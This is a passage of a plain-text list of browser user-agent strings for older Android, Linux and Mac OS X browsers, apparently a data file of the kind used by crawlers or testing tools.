Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC_Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC_Wildfire_A3333 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; en-gb; HTC Legend 1.23.161.1 Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; zh-cn; HTC Hero Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; zh-cn; HTC Legend Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.2.1; de-ch; HTC Vision Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC Magic Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC Wildfire Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; de-de; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; it-it; HTC_DesireHD_A9191 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; zh-tw; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.1; zh-tw; HTC_Sensation_S710e Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2.2; en-us; HTC_Flyer Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; da-fi; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-gb; HTC Desire HD 1.39.161.1 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; T-Mobile HTC_G2 Build/FRF91) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Linux; U; Android 2.2; fr-fr; HTC Magic Build/ CRB17) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 )\nMozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; tr-tr; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; zh-cn; HTC Dream Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; zh-cn; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; zh-cn;) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; zh-tw; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; zh-tw; HTC_DesireZ_A7272 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.1; en-us; SonyEricssonR800a Build/3.0.A.0.326) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.1; fr-ca; SonyEricssonLT15a Build/3.0.A.0.326) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.1; ja-jp; SonyEricssonSO-01C Build/3.0.D.2.23) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.2; en-us; HTC_Passion_S510e Build/GRH78C) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.3; en-us ; LS670 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1/UCBrowser/8.6.1.262/145/355\nMozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile\nMozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari\nMozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9\nMozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\nMozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\nMozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\nMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/535.19 (KHTML, like Gecko) Silk/2.1 Mobile Safari/535.19 Silk-Accelerated=true\nMozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P870/P87020d Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.2; en-us; sdk Build/MR1) AppleWebKit/535.19 (KHTML, like Gecko) Version/4.2 Safari/535.19\nMozilla/5.0 (Linux; U; Android 4.3; en-us; sdk Build/MR1) AppleWebKit/536.23 (KHTML, like Gecko) Version/4.3 Mobile Safari/536.23\nMozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\nMozilla/5.0 (Linux; U; Debian Linux; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Linux; U; Debian Linux; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Linux; U; Intel Linux; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Linux; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Linux; U; Kubuntu 8.4; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1\nMozilla/5.0 (Linux; U; Linux 2.6; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Linux; U; Suse 9.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Linux; U; Ubuntu; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Linux; U; Ubuntu; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Linux; U;Linux X86_64; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Linux; webOS/2.2.4; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) webOSBrowser/221.56 Safari/534.6 Pre/3.0\nMozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/5.0 (MSIE 9.0; Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931\nMozilla/5.0 (Macintosh; ; Intel Mac OS X; fr; rv:1.8.1.1) Gecko/20061204 Opera\nMozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872\nMozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4\nMozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20121011 Firefox/16.0 SeaMonkey/2.13.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20110608 SeaMonkey/2.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11) Gecko/20110209 Firefox/ SeaMonkey/2.1b2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21 Lightning/2.6b3\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20120713 Thunderbird/14.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko/20121011 Firefox/16.0 SeaMonkey/2.13.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:19.0) Gecko/20100101 Firefox/19.0 SeaMonkey/2.16.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko/20100101 Firefox/20.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20120813 Firefox/16.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:33.0) Gecko/20100101 Firefox/33.0 SeaMonkey/2.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0 SeaMonkey/2.32a2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/29.0.1795.41\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.105 Safari/537.36 Vivaldi/1.0.162.9\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2859.0 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.49 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Maxthon/4.5.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6) AppleWebKit/531.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.4\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.32 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24+ (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.283 Chrome/11.0.696.65 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.292 Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.209 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.423 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.471 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.478 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.68 Safari/534.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.11 Safari/535.19\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 